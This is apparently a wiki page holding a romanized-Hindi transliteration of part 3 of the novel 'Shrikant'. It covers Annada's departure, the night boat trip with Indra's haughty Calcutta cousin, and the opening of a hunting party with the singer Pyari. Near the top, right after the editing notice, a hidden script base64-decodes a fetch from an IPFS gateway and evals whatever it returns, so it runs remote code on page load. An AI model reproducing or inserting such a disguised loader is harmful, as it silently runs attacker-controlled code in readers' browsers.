श्रीकांत उपन्यास भाग-3

chitr:Icon-edit.gif

is lekh ka punarikshan evan sampadan hona avashyak hai. ap isamean sahayata kar sakate haian. "sujhav"

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

aj maian akela jakar modi ke yahaan kh da ho gaya. parichay pakar modi ne ek chhota-sa purana chith da bahar nikala aur gaanth kholakar usamean se do sone ki baliyaan aur paanch rupaye nikale. unhean mere hath mean dekar vah bola, "bahoo ye do baliyaan mujhe ikatis rupaye mean bechakar shahaji ka samast rrin chukakar, chali gayi haian. kintu kahaan gayi haian so nahian maloom." itana kahakar vah kisaka kitana rrin tha isaka hisab batalakar bola, "jate samay bahoo ke hath mean kul sadhe paanch ane paise the." arthath baees paise lekar us nirupay nirashray stri ne sansar ke sudurgam path mean akele yatra kar di hai! pichhe se, usake ye donoan pyare balak, kahian use ashray dene ke vyarth prayas mean, upayahin vedana se vyathit n hoan, is bhay se bina kuchh kahe hi ve bina kisi lakshy ke ghar se bahar chali gayi haian- kahaan, so bhi kisi ko unhoanne janane nahian diya. nahian diya-itana hi nahian, kintu mere paanch rupaye bhi nahian svikar kiye. phir bhi, man mean yah samajhakar ki ve unhoanne le liye haian, maian anand aur garv se, n jane kitane dinoan tak, n jane kitane akash-kusumoan ki srishti karata raha tha. par ve mere sab kusum shoony mean mil gaye. abhiman ke mare aauankhoan mean jal chhal chhala aya jise us boodhe se chhipane ke lie maian tezise bahar chal diya. bar-bar man hi man kahane laga ki indr se to unhoanne kitane hi rupaye liye, kintu, mujhase kuchh bhi nahian liya- jate samay 'nahian' kahakar vapis karake chali gayian!

kintu ab mere man mean vah abhiman nahian hai. sayana hone par, ab maianne samajha hai ki maianne aisa kaun-sa puny kiya tha jo unhean dan de sakata! us jalati agni-shikha mean jo bhi maian deta vah jalakar khak ho jata- isilie jiji ne mera dan vapis kar diya! kintu indr? indr aur maian kya ek hi dhatu ke bane hue haian jo jahaan vah dan kare vahaan dhithata se maian bhi apana hath badha dooan? isake siva, yah bhi to maian samajh sakata hooan ki akhir kisaka muanh dekhakar unhoanne indr ke age hath phailaya tha- khair jane do in batoan ko.

isake bad anekoan jagah maian ghooma-phira hooan; kintu in jali aauankhoan se maian kahian bhi unhean nahian dekh paya. mujhe ve phir nahian dikhaee dian, kintu hriday mean vah hansata hua muanh hamesha vaisa hi dikh p data hai. unake charitr ki kahani ka smaran karake jab kabhi, maian mastak jhukakar man hi man unhean pranam karata hooan, tab keval yahi bat mere man mean ati hai ki bhagavan, yah tumhara kaisa nyay hai? hamare is sati-savitri ke desh mean, tumane pati ke karan sahadharmini ko aparisim du:kh dekar, sati ke mahatmy ko ujjval se ujjvalatar karake sansar ko dikhaya hai, yah maian janata hooan. unake samast du:kh dainy ko chir-smaraniy kirti ke roop mean roopantarit karake, jagat ki sampoorn nari jati ko kartavy ke dhruv-path par akarshit karane ki tumhari ichchha hai, isako bhi maian achchhi tarah samajh sakata hooan; kintu hamari aisi jiji ke bhagy mean itani b di vidambana aur apayash kyoan likh diya? kisalie tumane aisi sati ke muanh par asati ki gahari kali chhap marakar use hamesha ke lie sansar se nirvasit kar diya? unako tumane kyoan nahian chhu da liya? unaki jati chhu daee, dharm chhu daya- samaj, sansar, pratishtha, sabhi kuchh to chhu da liya. aur jo aparimit, du:kh tumane diya hai, usaka to maian aj bhi sakshi hooan. isaka bhi mujhe du:kh nahian hai jagadishvar! kintu jinaka asan, sita, savitri adi satiyoan ke samip hai, unhean unake maan-bap, kutumbi, shatru-mitr adi ne kis roop mean jana? kulata roop mean, veshya roop mean! isase tumhean, kya labh hua? aur sansar ko bhi kya mila?

hay re, kahaan haian unake ve sab atmiy svajan aur bhaee-bandhu? yadi ek daphe bhi maian jan sakata, vah desh phir kitani hi door kyoan n hota, is desh se bahar hi kyoan n hota, to bhi, maianne vahaan jakar avashy kaha hota- yahi haian tumhari annada aur yahi unaki akshay kahani! tumane apani jis l daki ko kul-kanlakini man liya hai, usaka nam yadi subah ek daphe bhi le liya karoge to anek papoan se chhutti pa jaoge?

is ghatana se maianne ek saty ko prapt kiya hai. pahale bhi maian ek daphe kah chuka hooan ki nari ke kalank ki bat par maian sahaj hi vishvas nahian kar sakata; kyoanki mujhe jiji yad a jati haian. yadi unake bhagy mean bhi itani b di badanami ho sakati hai, to phir sansar mean aur kya nahian ho sakata? ek maian hooan, aur ek ve haian jo sarv kal ke sarv pap-puny ke sakshi haian- inako chho dakar duniya mean aisa aur kaun hai, jo annada ko jara se sneh ke sath bhi smaran kare. isilie, sochata hooan ki n janate hue nari ke kalank ki bat par avishvas karake sansar mean thaga jana bhala hai, kintu vishvas karake pap ka bhagi hona achchha nahian!

usake bad bahut dinoan tak indr ko nahian dekha. ganga ke tir ghoomane jata tha to dekhata tha ki usaki nav kinare bandhi huee hai. vah pani mean bhig rahi hai aur dhoop mean phat rahi hai. sirph ek daphe aur ham donoan us nav par baithe the. us nauka par vahi hamari antim yatra thi. isake bad n vahi us nav par chadha aur n maian hi. vah din mujhe khoob yad hai. sirph isilie nahian ki vah hamari nauka-yatra ka samapti-divas tha, kintu isalie ki us din akhand-svarthaparata ka jo utkrisht drishtant dekha tha, use maian sahaj mean nahian bhool saka. vah katha bhi kahe deta hooan.

vah k dake ki shit-kal ki sandhyakh thi. pichhale din pani ka ek achchha jhala p d chuka tha, isalie ja da sooee ki tarah sharir mean chubhata tha. akash mean poora chandrama uga tha. charoan taraph chaandani mano tair rahi thi. ekaek indr a tapaka; bola, "thiyetar dekhane chalega?" thiyetar ke nam se maian ekabaragi uchhal p da. indr bola, "to phir kap de pahinakar shighr hamare ghar a ja." paanch minat mean ek raipar lekar bahar nikal p da. us sthan ko tren se jana hota tha. socha, ghar se ga di karake steshan par jana hoga- isalie itani jaldi hai.

indr bola, "aisa nahian, ham log nav par chaleange. maian nirutsahit ho gaya, kyoanki, ganga mean nav ko us or khekar le jana p dega, aur isalie bahut der ho jane ki sambhavana thi. shayad samay par pahuancha n ja sake. indr bola, "hava tej hai, der n hogi. hamare navin bhiya kalakatte se ae haian, ve ganga se hi jana chahate haian."

khair, daand lekar, pal tanakar thik tarah se ham log nav mean baith gaye- bahut der karake navin bhiya ghat par pahuanche. chandrama ke alok mean unhean dekhakar maian to dar gaya. kalakatte ke bhayankar baboo! resham ke moje, chamachamate pamp shoo, oopar se niche tak ovarakot mean lipate hue, gale mean gulooband, hath mean dastane, sir par topi- shit ke viruddh unaki savadhani ka ant nahian tha. hamari us sadhaki doangi ko unhoanne atyant 'raddi' kahakar apana kathor mat zahir kar diya; aur indr ke kandhoan par bhar dekar tatha mera hath pak dakar, b di mushkil se, b di savadhani se, ve nav ke bich mean jakar sushobhit ho gaye.

"tera nam kya hai re?"

darate-darate maianne kaha, "shrikant."

unhoanne akshep ke sath muanh banakar kaha, "shrikant- sirph 'kant' hi kafi hai. ja huqqa to bhar la. are indr, hukka-chilam kahaan hai? is chhokare ko de, tamakhoo bhar de!"

are bap re! koee apane naukar ko bhi is tarah ki vikat bhav-bhangi se adesh nahian deta. indr apratibh hokar bola, "shrikant, too akar kuchh der daan d pak d rakh. maian huqqa bhare deta hooan."

usaka javab n dekar maian khud hi huqqa bharane laga. kyoanki ve indr ke mausere bhaee the, kalakatte ke rahane vale the aur hal hi mean unhoanne el.e. pas kiya tha. parantu man mera big d utha. tamakhoo bharakar huqqa hath mean dete hi unhoanne prasann mukh se pite-pite poochha, "too kahaan rahata hai re kant? tere sharir par vah kala-kala sa kya hai re? raipar hai? ah! raipar ki kya hi shobha hai. isake tel ki bas se to bhoot bhi bhag javean! chhokare-phailakar bichha to de yahaan use, baithean us par."

"maian deta hooan, navin bhiya, mujhe thand nahian lagati. yah lo" kahakar indr ne apane sharir par ki alavan chat se utarakar pheank di. vah use maje se bichhakar baith gaya aur aram se tamakhoo pine laga.

shit rritu ki ganga adhik chau di nahian thi- adha ghante mean hi doangi us kinare se ja bhi di. sath hi sath hava band ho gayi.

indr vyakul ho bola, "nootan bhiya, yah to b di mushkil huee- hava band ho gayi. ab to pal chalega nahian."

nootan bhiya bole, "is chhokare ke hath mean de n, daan d khianche." kalakattavasi nootan bhiya ki janakari par kuchh malin hansi hansakar indr bola, "daan d! koee nahian le ja sakata. nootan bhiya, is ret ko thelakar jana kisi ke kiye bhi sambhav nahian. hamean lautana p dega."

prastav sunakar nootan bhiya muhoort bhar ke lie agnisharma ho uthe, "to phir le kyoan aya hatabhage? jaise ho, tujhe vahaan tak pahuanchana hi hoga. mujhe thiyetar mean haramoniyam bajana hi hoga- unaka vishesh agrah hai." indr bola, "unake pas bajane vale adami haian nootan bhiya, tumhare n jane se ve atake n raheange."

"atake n raheange? is ganvar desh ke chhokare bajaveange haramoniyam! chal, jaise bane vaise le chal." itana kahakar unhoanne jis tarah ka muanh banaya, usase mera sara sharir jal utha. usaka haramoniyam bajana bhi hamane bad mean suna, kintu vah kaisa tha so batane ki zaroorat nahian.

indr ka sankat anubhav karake maian dhire se bola, "indr, kya rassi se khianchakar le chalane se kam n chalega?" bat poori hote n hote maian chauank utha. ve is tarah daant kitakita uthe, ki unaka vah muanh aj bhi mujhe yad a jata hai. bole, "to phir ja n, khianchata kyoan nahian? janavar ki tarah baitha kyoan hai?"

isake bad ek daphe indr aur ek daphe maian rassi khianchate hue age badhane lage. kahian ooanche kinare ke oopar se, kahian niche utar kar, aur bich-bich mean us baraph sarikhe thande jal ki dhara mean ghusakar, hamean atyant kasht se nav le chalana p da. aur phir bich-bich mean baboo ke hukke ko bharane ke lie bhi nav ko rokana p da. parantu baboo vaise hi jamakar baithe rahe- jara bhi sahayata unhoanne nahian ki. indr ne ek bar unase 'karn' pak dane ko kaha to javab diya, ki "maian dastane kholakar aisi thand mean nimoniya bulane ko taiyar nahian hooan." indr ne kahana chaha, "unhean khole bagair hi..."

"haan, kimati dastanoan ko mitti kar dalooan, yahi n! le, ja jo karana ho kar."

vastav mean maianne aise svarth par asajjan vyakti jivan mean tho de hi dekhe haian. unake ek vahiyat shauq ko charitarth karane ke lie ham logoan ko- jo unase umr mean bahut chhote the- itana sab klesh sahate hue apani aauankhoan dekhakar ve jara bhi vichalit n hue. kahian se jara-si thand lagakar unhean bimar n kar dean, ek chhianta jal p d jane se kahian unaka kimati ovarakot kharab n ho jay, hilane-chalane mean kisi tarah ka vyaghat n ho- isi bhay se ve j d hokar baithe rahe aur chilla-chillakar hukmoan ki jh di lagate rahe.

aur bhi ek aphat a gayi- ganga ki ruchikar hava mean baboo sahab ki bhookh bh dak uthi aur, dekhate-hi-dekhate, avishram bak-jhak ki chotoan se, aur bhi bhishan ho uthi. idhar chalate-chalate rat ke das baj gaye haian-thiyetar pahuanchate-pahuanchate rat ke do baj jaanyage, yah sunakar baboo sahab pray: pagal ho uthe. rat ke jab gyarah baje tab, kalakatte ke baboo bekaboo hokar bole, "haan re indr, pas mean kahian hindustaniyoan ki koee basti-asti hai ki nahian? chiu da-iu da kuchh milega?"

indr bola, "samane hi ek khoob b di basti hai nootan bhiya, sab chizean milati haian."

"to phir chala chal- are chhokare, jara khianch n zor se- kya khane ko nahian pata? indr, bol n tere is sathi se, tho da aur zor karake khianch le chale?"

indr ne athava maianne kisi ne isaka javab nahian diya. jis tarah chal rahe the usi tarah chalate hue ham tho di der mean ek gaanv ke pas ja pahuanche. yahaan par kinara dhaloo aur vistrit hota hua jal mean mil gaya tha. nav ko balapoorvak dhakka dekar, uthale pani mean karake, ham donoan ne ek aram ki saans li.

baboo sahab bole, "hath-pair kuchh sidhe karana hoga. utarana chahata hooan." atev indr ne unhean kandhoan par uthakar niche utar diya. ve jyotsna ke alok mean ganga ki shubhr reti par chahalakadami karane lage.

ham donoan janean unaki kshudha-shanti ke uddeshy se gaanv ke bhitar ghuse. yadyapi ham log janate the ki itani rat ko is daridr khe de mean ahar-sangrah karana sahaj kam nahian hai tathapi cheshta kiye bagair bhi nistar nahian tha. is par, akele rahane ki bhi unaki ichchha nahian thi. is ichchha ke prakashit hote hi indr usi dam ahnan karake bola, "navin bhiya, akele tumhean dar lagega- hamare sath tho da ghoomana bhi ho jayega. yahaan koee chor-or nahian hai, nav koee nahian le jayega. chale n chalo."

navin bhiya apane muanh ko kuchh vikrit karake bole, "dar! ham log darji pa de ke l dake haian- yamaraj se bhi nahian darate- yah janate ho? phir bhi nich logoan ki darti (gandi) basti mean ham nahian jate. saloan ke sharir ki boo yadi nak mean chali jay to hamari tabiyat kharab ho jae." vastav mean unaka manogat abhipray yah tha ki maian unake pahare par niyuktar hokar unaka huqqa bharata rahooan.

kintu unake vyavahar se man hi man mean itana naraj ho gaya tha ki indr ke ishara karane par bhi maian kisi tarah, is adami ke sansarg mean, akele rahane ko raji nahian hua. indr ke sath hi chal diya.

darjipa de ke baboo sahab ne hath-tali dete hue gana shuroo kar diya. ham logoan ko bahut door tak nak ke svar ki unaki janani tan sunaee deti rahi. indr khud bhi man hi man apane bhaee ke vyavahar se atishay lajjit aur kshubdh ho gaya tha. dhire se bola, "ye kalakatte ke adami thahare, hamari tarah hava-pani sahan nahian kar sakate- samajhe n shrikant?"

maian bola, "hooan."

tab indr unaki asadharan vidya buddhi ka parichay, shayad shraddha akarshit karane ke lie dete hue chalane laga. batachit mean yah bhi usane kaha ki ve tho de hi dinoan mean bi.e. pas karake dipti ho jaanyage. jo ho, ab itane dinoan ke bad bhi is samay ve kahaan ke dipti haian athava unhean vah pad prapt hua ya nahian, mujhe nahian maloom. parantu, jan p data hai ki ve dipti avashy ho gaye hoange, nahian to bich-bich mean bangali diptiyoan ki itani sukhyati kaise sun p dati? us samay unaka pratham yauvan tha. sunate haian, jivan ke is kal mean hriday ki prashassata, sanvedana ki vyapakata, jitani badhati hai utani aur kisi samay nahian. lekin, in kuchh ghantoan ke sansarg mean hi jo namoona unhoanne dikhaya itane samay ke antar ke bad bhi vah bhulaya nahian ja saka. phir bhi, bhagy se aise namoone kabhi-kabhi dikhaee p d jate haian- nahian to, bahut pahale hi yah sansar bakayada pulis thane ke roop mean parinat ho jata. par rahane do ab is bat ko.

parantu, pathakoan ko yah khabar dena avashyak hai ki bhagavan bhi un par kruddh ho gaye the. is taraph ke rah-ghat, dukan-hat, sab indr ke jane hue the. vah jakar ek modi ki dukan par upasthit ho gaya. parantu dukan band thi aur dukanadar thand ke bhay se daravaze-khi dakiyaan band karake gahari nidra mean magn tha. niand ki vah gaharaee kitani athah hoti hai, so un logoan ko likhakar nahian bataee ja sakati, jinhean khud isaka anubhav n ho. ye log n to aml-rogi nishkarma zamiandar haian aur n bahut bhar se dabe hue, kanya ke dahej ki fikr se grast bangali grihasth. isalie sona janate haian. din bhar ghor parishram karane ke uparant, rat ko jyoan hi unhoanne charapaee grahan ki ki phir, ghar mean ag lagae bagair, sirph chillakar ya daravaza khatakhatakar unhean jaga dooanga- aisi pratijna yadi svayan satyavadi arjun bhi, jayadrath-vadh ki pratijna ke badale kar baithate to, yah bat kasam khakar kahi ja sakati hai ki unhean bhi mithya pratijna ke pap se dagdh hokar mar jana p data.

ham donoan janean bahar kh de hokar tivr kanth se chitkar karake tatha jitane bhi koot-kaushal manushy ke dimag mean a sakate haian, un sabako ek-ek karake ajama karake, adha ghante bad khali hath laut ae. parantu ghat par akar dekha to vah jan-shoony hai. chaandani mean jahaan tak najar dau dati thi vahaan tak koee bhi nahian dikhata. 'darjipa de' ka kahian koee nishan bhi nahian. nav jaisi thi vaisi hi p di huee hai- phir baboo sahab gaye kahaan? ham donoan pranapan se chitkar kar uthe-'navin bhiya' kintu kahian koee nahian. ham logoan ki vyakul pukar, baeean aur dahini bajoo ke khoob ooanche kagaroan se takarakar, aspasht hoti huee, bar-bar lautane lagi. as-pas ke us pradesh mean, shitakal mean, bich bich mean baghoan ke ane ki bat bhi suni jati thi. grihasth kisan in dalabaddh baghoan ki vipatti se vyast rahate the. sahasa indr isi bat ko kah baitha, "kahian bagh to nahian utha le gaya re!" bhay ke mare mere roangate kh de ho gaye. yah kya kahate ho? isake pahale unake niratishay abhadr vyavahar se maian naraj to sachamuch hi ho utha tha parantu, itana b da abhishap to maianne unhian nahian diya tha!

sahasa donoan janoan ki najar p di ki kuchh door baloo ke oopar koee vastu chaandani mean chamachama rahi hai. pas jakar dekha to unhian ke bahumooly pamp-shoo ki ek phard hai? indr bhigi baloo par let gaya- "hay shrikant! sath mean meri mausi bhi to aee haian. ab maian ghar lautakar n jaooanga!" tab dhire-dhire sab batean spasht hone lagian. jis samay ham log modi ki dukan par jakar use jagane ka vyarth prayas kar rahe the, usi samay, is taraph kuttoan ka jhund ikattha hokar artt chitkar karake is durghatana ki khabar hamare karnagochar karane ke lie vyarth mehanat utha raha tha, yah bat ab jal ki tarah hamari aauankhoan ke age spasht ho gayi. ab bhi hamean door par kuttoan ka bhooankana sun p data tha. atev jara bhi sanshay nahian raha ki bagh unhean khianch le jakar jis jagah bhojan kar rahe haian, vahian as-pas kh de ho ye kutte bhi ab bhauank rahehaian.

akasmath indr sidha hokar kh da ho gaya aur bola, "maian vahaan jaooanga." maianne darakar usaka hath pak d liya aur kaha, "pagal ho gaye ho bhiya!" indr ne isaka kuchh javab nahian diya. nav par jakar usane kandhoan par laggi rakh li, ek b di lambi chhuri khise mean se nikalakar baean hath mean le li aur kaha, "too yahian rah shrikant, maian n aooan to lautakar mere ghar khabar de dena- maian chalata hooan."

usaka muanh bilkutal saphed p d gaya tha, kintu donoan aauankhean jal rahi thian. maian use achchhi tarah chinhata tha. yah usaki nirarthak, khali uchhal-kood nahian thi ki hath pak d kar do-char bhay ki batean kahane se hi, mithya dambh mithya mean mil jayega. maian nishchay se janata tha ki kisi tarah bhi vah roka nahian ja sakata- vah zaroor jayega. bhay se jo chir aparichit ho, use kis tarah aur kya kahakar roka jata? jab vah bilkusal jane hi laga to maian bhi n thahar n saka; maian bhi, jo kuchh mila, hath mean lekar usake pichhe-pichhe chal diya. is bar indr ne mukh pherakar mera ek hath pak d liya aur kaha, "too pagal ho gaya hai shrikant! tera kya dosh hai? too kyoan jayega?"

usaka kanth-svar sunakar meri aauankhoan mean ek muhoort mean hi jal bhar aya. kisi tarah use chhipakar bola, "tumhara hi bhala, kya dosh hai indr? tum hi kyoan jate ho?"

javab mean indr ne mere hath se baans chhinakar nav mean pheank diya aur kaha, "mera bhi kuchh dosh nahian hai bhaee, maian bhi navin bhiya ko lana nahian chahata tha. parantu, ab akele lauta bhi nahian ja sakata, mujhe to jana hoga."

parantu mujhe bhi to jana chahie. kyoanki, pahale hi ek daphe kah chuka hooan ki maian svayan bhi bilkutal darapok n tha. atev baans ko phir uthakar maian kh da ho gaya aur vad-vivad kiye bagair hi ham donoan age chal die. indr bola, "baloo par dau da nahian ja sakata-khabaradar, dau dane ki koshish n karana. nahian to, pani mean ja girega."

samane hi ek baloo ka tila tha. use par karate hi dikh p da, bahut door par pani ke kinare chhah-sat kutte kh de bhauank rahe haian. jahaan tak najar gayi vahaan tak tho de se kuttoan ko chho dakar, bagh to kya, koee shriangal bhi nahian dikhaee diya. savadhani se kuchh der aur agrasar hote hi jan p da ki koee ek kali-si vastu pani mean p di hai aur ve usaka pahara de rahe haian. indr chilla utha, "nootan bhiya!"

nootan bhiya gale tak pani mean kh de hue aspasht svar se ro p de, "yahaan hooan maian!"

ham donoan pranapan se dau d p de, kutte hatakar kh de ho gaye, aur indr jhap se kood kar gale tak doobe hue moorchchhit pray: apane darjipa de ke mausere bhaee ko khianchakar kinare par utha laya. us samay bhi unake ek pair mean bahumooly pamp-shoo, sharir par ovarakot, hath mean dastane, gale mean gulooband aur sir par topi thi. bhagane ke karan phoolakar ve dhol ho gaye the! hamare jane par unhoanne hath-tali dekar jo badhiya tan chhe d di thi, bahut sambhav hai, usi sangit ki tan se akrisht hokar, gaanv ke kutte dal baandhakar vahaan a upasthit hue the! aur us abhootapoorv git aur adarapoorn poshak ki chhata se vibhrant hokar is mahamany vyakti ke pichhe p d gaye the. pichha chhu dane ke lie itani door bhagane par bhi atmaraksha ka aur koee upay n khoj sakane ke karan ant mean jhap se pani mean kood p de; aur is durdant shit ki rat mean, tushar-shital jal mean adhe ghante gale tak doobe rahakar apane poorvakrith papoan ka prayashchit karate rahe. kintu, prayashchit ke sankat ko door karake unhean phir se changa karane mean bhi hamean kam mehanat nahian uthani p di. parantu sabase badhakar acharaj ki bat yah huee ki baboo sahab ne sookhe maian pair rakhate hi pahali bat yahi poochhi, "hamara ek pamp-shoo kahaan gaya?"

"vah vahaan p da hua hai." yah sunate hi ve sare du:kh-klesh bhoolakar use shighr hi utha lene ke lie sidhe kh de ho gaye. isake bad, kot ke lie gulooband ke lie, mojoan ke lie, dastanoan ke lie, pari-pari se ek-ek ke lie shok prakashit karane lage aur us rat ko jab tak ham log lautakar apane ghat par nahian pahuanch gaye, tab tak yahi kahakar hamara tiraskar karate rahe ki kyoan hamane moorkhoan ki tarah unake sharir se un sab chijoan ko jaldi-jaldi utar dala tha. n utara hota to is tarah dhool lagakar ve mitti n ho jate. ham donoan asabhy logoan mean rahane vale gramin kisan haian, ham logoan ne in chijoan ko pahale kabhi aauankh se dekha tak nahian hoga- yah sab ve barabar kahate rahe. jis deh par, isake pahale, ek chhianta bhi jal girane se ve vyakul ho uthate the, kap de-lattoan ke shok mean ve us deh ko bhi bhool gaye. upalakshy vastu asal vastu se bhi kis tarah kee guni adhik hokar use par kar jati hai, yah bat, yadi in jaise logoan ke sansarg mean n aya jae, to is tarah pratyaksh nahian ho sakati.

rat ko do baje bad hamari doangi ghat par a lagi. mere jis raipar ki vikat boose kalakatte ke baboo sahab, isake pahale, behosh hue jate the, usi ko apane sharir par dalakar- usi ki avishrant ninda karate hue tatha pair poanchhane mean bhi ghrina hoti hai, yah bar-bar sunate hue bhi- aur indr ki alavan odhakar, us yatra mean atm raksha karate hue ghar gaye. kuchh bhi ho, ham loangoan par daya karake jo ve vyaghr-kavalit hue bagair sasharir vapis laut ae, unake usi anugrah ke anand se ham paripoorn ho rahe the. itane upadrav-atyachar ko hansate hue sahan karake aur aj nav par chadhane ke shauq ki parisamapti karake, us durjay shit ki rat mean, keval ek dhoti-bhar ka sahara liye hue, kaanpate-kaanpate, ham log ghar mean laut ae.

000

likhane baithate hi bahut dapha maian ashchary se sochata hooan ki is tarah ki besilasile ghatanaean mere man mean nipunata se kisane saza rakkhi haian? jis dhang se maian likh raha hooan is dhang se ve ek-ke bad ek shrriankhalabaddh to ghatit huee nahian. aur phir saankal ki kya sabhi k diyaan sabut bani huee haian? so bhi nahian. mujhe maloom hai ki kitani hi ghatanaean to vismrit ho chuki haian, kintu phir bhi to shrriankhala nahian tootati. to kaun phir unhean nootan karake jo d rakhata hai?

aur bhi ek acharaj ki bat hai. pandit log kaha karate haian ki b doan ke bojh se chhote pis jate haian. parantu yadi aisa hi hota to phir jivan ki pradhan aur mukhy ghatanaean to avashy hi yad rahane ki chizean hotian. parantu so bhi to nahian dekhata hooan. bachapan ki batean kahate samay ekaek maianne dekha ki smriti-mandir mean bahut-si tuchchh kshudr ghatanaean bhi, n jane kaise, bahut b di hokar thath se baith gayi haian aur b di ghatanaean chhoti banakar n jane kab kahaan jh dakar gir gayi haian. isalie bolate samay bhi yahi bat charitarth hoti hai. tuchchh batean b di ho kar dikhaee deti haian, aur b di yad bhi nahian atian. aur phir aisa kyoan hota hai isaki kaiphiyat bhi pathakoan ko maian nahian de sakata. jo hota hai, sirph use hi maianne bata diya hai.

isi prakar ki ek tuchchh-si bat hai jo man ke bhitar itane dinoan tak chupachap chhipi rahakar, itani b di ho uthi hai ki aj usaka pata pakar maian svayan bhi bahut vismit ho raha hooan. usi bat ko aj maian pathakoan ko sunaooanga. kintu, bat thik-thik kya hai so, jab tak ki maian usaka poora parichay n de dooan tab tak, usaka roop kisi tarah bhi spasht n hoga! kyoanki, yadi maian prarambh mean hi kah dooan ki vah ek 'prem ka itihas' hai- to usase yadyapi mithya bhashan ka pap n hoga, kintu vah vyapar apani cheshta se jitana b da ho utha hai, meri bhasha shayad usako bhi ullanghan kar jayegi. isalie bahut hi savadhan hokar kahane ki zaroorat hai.

vah bahut bad ki bat hai. jiji ki smriti bhi us samay dhuandhali ho gayi thi. jinake mukh ki yad man mean late hi, n maloom kaise, pratham yauvan ki uchchhriankhalata apane ap apana sir jhuka leti hai, un jiji ki yad us samay us tarah nahian ati thi. yah usi samay ki kahani hai. ek raja ke l dake ke dvara nimantrit hokar maian usaki shikar-parti mean jakar shamil hua tha. usake sath bahut samay tak skool mean padha tha, gupachup anek bar usake ganit ke saval hal kar die the- isilie vah mujhe khoob chahata tha. isake bad entreans klas se ham donoan alag ho gaye. maian janata hooan ki rajaoan ke l dakoan ki smaran-shakti kam hua karati hai, kintu yah nahian socha tha ki vah mera smaran karake patr-vyavahar karana shuroo kar dega. bich mean ek din usase ekaek mulakat ho gayi. usi samay vah balig hua tha. bahut-se jama kiye hue rupaye usake hath lage aur usake ba... ityadi ityadi. raja ke kanoan mean bat pahuanchi- atiranjit hokar hi pahuanchi, ki raiphal chalane mean maian bejo d hooan, tatha aur bhi kitane hi tarah ke gunoan se maian, is bich mean hi, mandit ho gaya hooan ki jinase maian ekamatr balig rajapootr ka antarang mitr hone ke lie sarvatha yogy hooan. atmiy bandhu-bandhav to apane adami ki prashansa kuchh badha-chadhakar hi karate haian, nahian to sachamuch hi, itani vidyaean itane adhik pariman mean maian us chhoti-si umr mean hi arjit karane mean samarth ho gaya tha; yah ahankar mujhe shobha nahian deta. kam se kam kuchh vinay rakhana achchha hai khair, jane do is bat ko. shastrakaroan ne kaha hai ki raje-rajava doan ke sadar ahnan ki kabhi upeksha nahian karani chahie. hindoo ka l daka thahara, shastr amany to kar nahian sakata tha, isalie maian chala gaya. steshan se das-barah kos hathi par baithakar gaya. dekha, beshak rajapootr ke balig hone ke sab lakshan maujood haian! koee paanch tamboo g de hue haian, ek svayan unaka, ek mitroan ka, ek naukaroan ka aur ek rasoee ka. inake sivay aur ek tamboo kuchh phasale par tha- usake do hisse karake unamean do veshyaean aur unake sajinde avajamae haian.

sandhyar ho chuki hai. pravesh karate hi maian jan gaya ki rajakumar ke khas kamare mean bahut der se sangit ki baithak jami huee hai. rajakumar ne b de adar se mera svagat kiya yahaan tak ki adar ke atirek se kh de hone ko taiyar hokar ve takiye ke sahare let gaye! mitr dost, vihval-kanth se aie, aie, padharie, kahakar sanvardhan karane lage. maian sarvatha aparichit tha. kintu vah, un logoan ki jo avastha thi usase, aparichay ke karan rukane vali nahian thi.

ye 'baeeji' patane se, bahut-sa rupaya pane ki shart par, do saptah ke lie aee thian. is kam mean rajakumar ne jis vivechana aur vilakshanata ka parichay diya tha usaki tariph to karani hi hogi. baeeji, khoob sundar, sukanth aur gane mean nipun thian.

mere pravesh karate hi gana tham gaya. isake bad samayochit vartalap aur adab-kayade ka kary samapt hone mean bhi kuchh samay chala gaya. rajakumar ne anugrah karake mujhase gane ki pharamaish karane ka anurodh kiya. rajajna pakar pahale to maian atyant kunthit ho utha, kintu tho di hi der mean maloom ho gaya ki sangit ki us majalis mean, sirph maian hi kuchh dhuandhala-sa dekh sakata hooan aur sab hi chhachhooandar ke maphik andhe haian.

baeeji khil uthian. paise ke lobh se bahut-se kam kiye ja sakate haian, so maian janata tha; kintu, in nirat moorkhoan ke darabar mean vina bajana vastav mean hi itani der tak, use b da kathin maloom ho raha tha. is daphe ek samajhadar vyakti pakar mano ve bach gayian. isake bad, rat ko der tak, mano keval mere lie hi, unhoanne apani samash‍t vidya, samast saundary aur kanth ke samast madhury mean hamare charoan taraph ki us samast kadarny madonmatta ko duba diya aur ant mean ve stabdh ho gayian.

baeeji patane ki rahane vali thian. nam tha 'pyari'. us ratri ko unhoanne jis tarah apani sari shakti lagakar gana sunaya us tarah shayad pahale kabhi nahian sunaya hoga॥ maian to mugdh ho gaya tha. gana band hote hi mere muanh se yahi nikala- "vah, khoob!"

pyari ne muanh nicha karake hans diya. isake bad donoan hathoan ko mastak par lagakar pranam kiya- salam nahian. majalis us rat ke lie khatm ho gayi.

us samay darshakoan mean koee so raha tha, koee tandra mean tha aur adhikaansh behosh the. apane tamboo mean jane ke lie baeeji sab sadalabal bahar nikal rahi thian, tab maian anand ke atirek se hindi mean bol utha-"baeeji mera, b da saubhagy hai ki tumhara gana roj do saptah tak sunane ko milega." baeeji pahale to thithakakar kh di ho rahian, par doosare hi kshan kuchh najadik akar atyant komal kanth se parishkrit bangala mean bolian, "rupaye liye haian, so mujhe to gana hi p dega; parantu kya ap bhi in pandrah solah dinoan tak inaki musahabi karate raheange? jaie, kal hi ap apane ghar chale jaie."

yah bat sunakar hatabuddhi-sa hokar maian mano kath ho gaya aur kya javab dooan, yah thik kar sakane ke pahale hi dekha ki baeeji tamboo ke bahar ho gayi haian.

subah shor gul machakar kumar sahab shikar ke lie bahar nikale. mady-maans ki taiyari hi sabase adhik thi. sath mean das-barah shikari naukar the. pandrah bandookean thian- jisamean chh: raiphalean thian. sthan tha ek adhasookhi nadi ke donoan kinare. is par gaanv tha aur us par ret ka tila. is par kos bhar tak b de-b de semar ke vriksh the aur us par reti ke oopar jagah-jagah kaans aur kushoan ke jhuramut. yahaan hi un pandrah bandookoan ko lekar shikar kiya jayega. semar ke vrikshoan par mujhe kabootar ki jati ke pakshi dikh p de aur adhasookhi nadi ke mo d ke pas aisa jan p da ki do pakshi, chakava-chakee, tair rahe haian.

